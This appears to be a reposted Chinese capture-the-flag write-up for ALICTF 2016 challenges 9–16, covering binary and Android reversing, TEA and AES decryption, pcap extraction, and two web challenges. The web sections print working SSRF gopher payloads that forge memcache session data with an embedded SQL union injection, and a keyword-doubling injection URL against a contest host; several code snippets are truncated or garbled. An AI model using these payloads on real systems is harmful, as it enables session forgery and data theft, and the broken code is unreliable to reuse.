首页 >后端开发 >php教程 >ALICTF2016 FlappyPig WriteUp(获奖团队FlappyPig通关策略)(二)

ALICTF2016 FlappyPig WriteUp(获奖团队FlappyPig通关策略)(二)

WBOY
WBOY原创
2016-06-23 13:01:481123浏览

9. uglycode

调用函数的地址都是通过下列方式算出来的,不过a1=2,所以手动算下跳转地址即可。

程序中有几处代码需要异或解密出来:

fromidaapi import *

defdecrypt(start, end, xor_data):

for i in range(start, end):

a = get_byte(i)

patch_byte(i, a^xor_data)

decrypt(0x603440,0x603440+250, 0x49)

decrypt(0x603740,0x603740+672, 0x7e)

decrypt(0x603a00,0x603a00+0x1fd, 0xef)

最后有4位不确定,通过md5进行爆破。

f ='35faf651b1a72022e8ddfed1caf7c45f'

defmd5(src):

m2 = hashlib.md5()

m2.update(src)

return m2.hexdigest()

for i1 inrange(0x20, 0x80):

for i2 in range(0x20, 0x80):

for i3 in range(0x20, 0x80):

for i4 in range(0x20, 0x80):

f2 ='M'+chr(i1)+chr(i2)+chr(i3)+chr(i4)+'A1w4ys_H3re'

if md5(f2) == f:

print f2

break

flag为:alictf{Pr0bl3M_1s_A1w4ys_H3re}

10. debug

双进程保护,首先看父进程,比较简单

主要就是在子程序两个地方停下来时,修改一下内存。

简单对程序进行手动patch之后,就可以对子进程调试。

分析算法,发现是进行了一个tea加密,然后异或了一个0x31,之后与固定的字符串进行比较。

此处的tea与标准的tea有所区别,主要是轮次,由32变成了128,稍微改改tea的解密程序就可以正常解密了。

from zioimport *

f =open('./debug', 'rb')

d =f.read()[0x7030:0x7030+0x10]

d2 = ''

for i inrange(0x10):

d2 += chr(ord(d[i])^0x31)

printHEX(d2)

#5dff17ed14f787e92842a1dc0a97f732

#include

voiddecrypt(unsigned long *v, unsigned long *k) {

unsignedlong y=v[0], z=v[1], sum=0xC6EF3720, i; /* set up */

sum =0x1bbcdc80;

unsignedlong delta=0x9e3779b9; /* a key schedule constant */

unsignedlong a=k[0], b=k[1], c=k[2], d=k[3]; /* cache key */

for(i=0;i

{ /*basic cycle start */

z -=((y>5) + d);

y -=((z>5) + b);

sum -=delta; /* end cycle */

}

v[0]=y;

v[1]=z;

}

voidmain()

{

unsigned long plain2[2] = {0xed17ff5d,0xe987f714};

decrypt(plain2, key);

printf("%08x%08x", plain2[0],plain2[1]);

unsigned long plain3[2] = {0xdca14228,0x32f7970a};

decrypt(plain3, key);

printf("%08x%08x\n", plain3[0],plain3[1]);

}

flag为c6bf3d7cdad82ea712cea62cccbafddf

11. timer

这个题lib里面好像没有什么东西,调用stringFromJNI2函数只要传入正确的数字即可打出flag,爆破的话估计成功率不高。所以重点还是在找出正确的数字上。

主要逻辑如下图

简单看了一下可以得出结论,上面的这段代码没一秒钟运行一次,而this.beg给出的超时时间为200000秒。如下图

也就是说只要让应用连续运行200000秒就可以出现flag。。。

当然直接运行的话估计就没分了。分析一下上面的逻辑可以得出下面的python代码。

其中is_prime的代码为

直接从apk里拷贝过来改了改。最终求出k为1616384,传到stringFromJNI2就可以了。

传递参数的时候优先可以考虑hook的方法,不过当时手头没有合适的手机,就退而求其次采取直接修改smali代码重新打包运行。

用Andoird killer打开apk,首先修改MainActivity.smali为下图,使得k值默认为1616384。

之后修改MainActivity$1.smali的两个地方,第一个地方是修改判断调试使程序直接执行stringFromJNI2,第二个地方注释掉时间更新、使这段代码只运行一次。

最后安装上apk运行就行了,我把背景变成白的了,要不然字看不清。

12. LoopAndLoop

这个题的主要逻辑如下图,只要输入正确的数字,就能得到flag。

看一下lib中的check函数,主要逻辑如下图,原来是lib中的check函数会循环调用java层中的check1、check2、check3函数。在这里有几点需要注意,在这里实际调用的_JNIEnv::CallIntMethod函数实际有5个参数,ida识别不全只列出3个,第4个参数是传入check函数的第1个参数,第5个参数是传入check函数的第2个参数减1(不是参数本身!!)

Java层中的这三个check函数就是做了一些简单的循环加减法,翻译成python如下图

最后打印出的就是正确的数字236492408(我知道等差数列可以直接求和但是我懒),输入apk中即可得到flag。

13. Steady

这个题是一个纯Native的apk应用,相关原理可以参考:

http://www.cnblogs.com/hicjiajia/archive/2011/01/20/1940022.html

这个题用了比较纠结的ollvm混淆,全部是使用while循环和关键字判断来的,看了挺长时间。

这个题大概是一个游戏,该apk运行时会检测手机的角度,然后在角度变换的时候在adb的log中打出相应结果,如图,同时屏幕会变色,如果角度正确屏幕就变为绿色。

经过研究代码,发现屏幕的三个角度会传入a_process函数,之后a_process函数的返回值会与另一个数组进行比较,关键代码如下面三幅图

考虑到此时的三个角度为唯一的输入变量,而a_process的返回值为角度唯一影响的变量,遂考虑修改a_process的返回值达到伪造输入的目的。将a_process的返回值依次改为数组中的值,可以成功运行到输出flag的代码。

但是此时输出的flag为乱码,考虑其他原因。

通过研究a_process函数,发现其能够返回的最大值为6,而数组中出现了7和9。

继续研究代码,发现b_process的运行结果会与a_process的运行结果相加

同时发现只有当a_process返回6时才会执行b_process,如下图

于是考虑当需要修改为7和9的时候,把a_process的返回值修改为6,同时修改修改b_process的返回值分别为1和3,最终得出flag为alictf{PvrNa7iv3Ap6}

14. ColorOverFlow

流量包,把apk抓下来

#!/usr/bin/env python

from scapy import*

from scapy.all import*

import io

import struct

import sys

b = io.BytesIO()

rawpcap = rdpcap(sys.argv[1])

rawpcap = [_ for _ in rawpcapifTCP in_ and_[TCP].dport == 5555and _[IP].src =="10.0.2.2" and Rawin _[IP]]

rawpcap = next( rawpcap[i+1:] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('/data/local/tmp') !=-1 andp[Raw].load.find('SEND') != -1)

rawpcap = next( rawpcap[:i] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('pm \'install\'') != -1)

print(len(rawpcap))

#b.write(''.join([p[Raw].load[24:] for p inrawpcap if Raw in p ]))

for p in rawpcap:

if Rawin p:

data = p[Raw].load

if data.startswith('WRTE'):

data = data[24:]

b.write(data)

b.seek(0)

#print b.read()

a = open('out.apk','wb')

header = b.read(8)

while header != "":

tag, datalen =struct.unpack('

if tag== "DATA":

a.write(b.read(datalen))

else:

break

header = b.read(8)

a.c lose()

逆算法,aes和md5,写了个py还原如下

import hashlib

from Crypto.Cipher import AES

def hex2bytes(s):

r=s.decode("hex")

a=[]

for i in r:

a.append(ord(i))

return a

def fix(a,b):

v0=0

v8=8

v2=[]

v3=[]

for i in range(len(a)):

v2.append(0)

for i in range(v8):

v3.append(0)

for v1 in range(0,v8):

v3[7-v1]= 255& b

b=b>>v8

while v0

v2[v0]=ord(chr(a[v0]^ v3[v0%8]))

v0+=1

return v2

def pre(arg6):

a=[]

for i in range(0,len(arg6),2):

a.append(int(arg6[i]+arg6[i+1],16))

return a

def showlist(a):

for i in a:

if i >=128:

print i-256,

else:

print i,

print ""

androidId = "bb39b07060deabd5"

timestamp=1463149196345

iv =fix(hex2bytes("46514BF9F2B3CD3BF580B7CD9BAE4514"), timestamp)

showlist(iv)

encryptedData = hex2bytes("DA2990BF15B7FD98A4E73EF766CD714F6F63B2E7F270C55F0CAF7E704CA7702F")

showlist(encryptedData)

temp=hashlib.md5(androidId).hexdigest()

key = pre(temp)

showlist(key)

content1=""

key1=""

iv1=""

for i in encryptedData:

content1=content1+chr(i)

for i in key:

key1=key1+chr(i)

for i in iv:

iv1=iv1+chr(i)

obj = AES.new(key1,AES.MODE_CBC, iv1)

print obj.decrypt(content1)

15. Recruitment(II)

乌云上的文章不少:

http://drops.wooyun.org/tips/16357

http://drops.wooyun.org/papers/13948

http://drops.wooyun.org/papers/8261

首先搭建环境测试ssrf,先折腾一下VPS,漏洞在提交照片URL的地方,给别的后缀会出错,修改Apache配置文件,让jpg后缀也可以当php运行:

加一个jpg的就好了。

本地构造xxx.jpg,测试:

提交url:

测试成功。

反弹sh未果,进行多种内网协议测试未果,在本地11211端口上发现运行的memcache,限定本机访问,目测打这个。

进行ssrf访问memcache后,回显会在index.php的图片上体现出来,下载图片查看即可。

使用version指令获取到版本信息:VERSION1.4.14 (Ubuntu)

使用stat items获取到4种id的items:

然后要取内容:

而后:

header('Location: gopher://127.0.0.1:11211/_get%20123123.lock%0aget%20v7j9fqjd87ahllrt3nuamn3860%0aget%201a7ippv1hln313834vkqeck2a1%0aget%203ftrcl490ovko8fkjmrsub5ub6%0aget%20luqfvoniepg4m38u4h1m4p2l94%0aget%20b27dfchc0lbkvdhv6s4qutt1t6%0aget%20ldq98pp1eqn3bcl28esca6doj7%0aget%207ve2m51ho3ik2phntbbf6mda45.lock%0aget%20hos82c41uh5c5vcbsoorv7cv47.lock%0aget%20e6lbcsnd1jqlkcdlpksdqa5653.lock%0aget%20tv2b4vad0ea9itqkk3h5a35lg2.lock%0aget%203q4b3tclao3odc5thdhr6fq2l7%0aget%200mq7lftahvoeb0rl428b4tagr1%0aget%207ve2m51ho3ik2phntbbf6mda45%0aget%20vm3tf5drmvnp2f508vrourden4%0aget%20e6lbcsnd1jqlkcdlpksdqa5653%0aget%20hos82c41uh5c5vcbsoorv7cv47%0aget%20tv2b4vad0ea9itqkk3h5a35lg2%0aquit%0a');

?>

发现session存到了这里。通过set指令进行修改,将is_admin改成1,成功登陆admin。

需要执行的指令序列:

生成jpg:

成功登陆/admin,发现memo,尝试修改session里的ip为127.0.0.1 然后通过gopher发送http请求去访问memo.php,但依然提示非local user,这时候发现backup.php,访问得到全站源码发现了注释的备份文件,下载,审计,waf过滤的比较严格,但是session没有被过滤,通过ssrf+memecache可以修改session的

使用unionselect注入,测试为7列,构造payload,修改session,访问index.php,获取flag(库表名源码中已给出):

header('Location:gopher://127.0.0.1:11211/_set%20gfe2m51ho3ik2phntbbf6mda45%200%200%20177%0d%0agtserver|i:1;captcha_id|s:11:"captcha_110";is_login|b:1;is_admin|b:1;user_ip|s:14:"218.29.102.114";username|s:61:"dfah\'%20union%20select%201,content,3,4,5,6,7%20from%20memo%20where%20\'1\'=\'1";%0d%0aquit%0d%0a');

?>

16. Findpass

注册账号发现是有个message的留言板

然后试了下用户名处的xss。

收了一早上的cookie

一波思路

之后发现HHHH可以覆盖注册

http://114.55.1.176:4458/detail.php?user_name=HHHH

user_name存在注入,根据xss到的构造payload

payload:

http://114.55.1.176:4458/detail.php?user_name=HHHH%27%0aununionion%0aselselectect%0auser_pass,2,3,4%0afrfromom%0atest.users%0aununionion%0aselselectect%0a1,2,3,4%0aoorr%0a%271

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn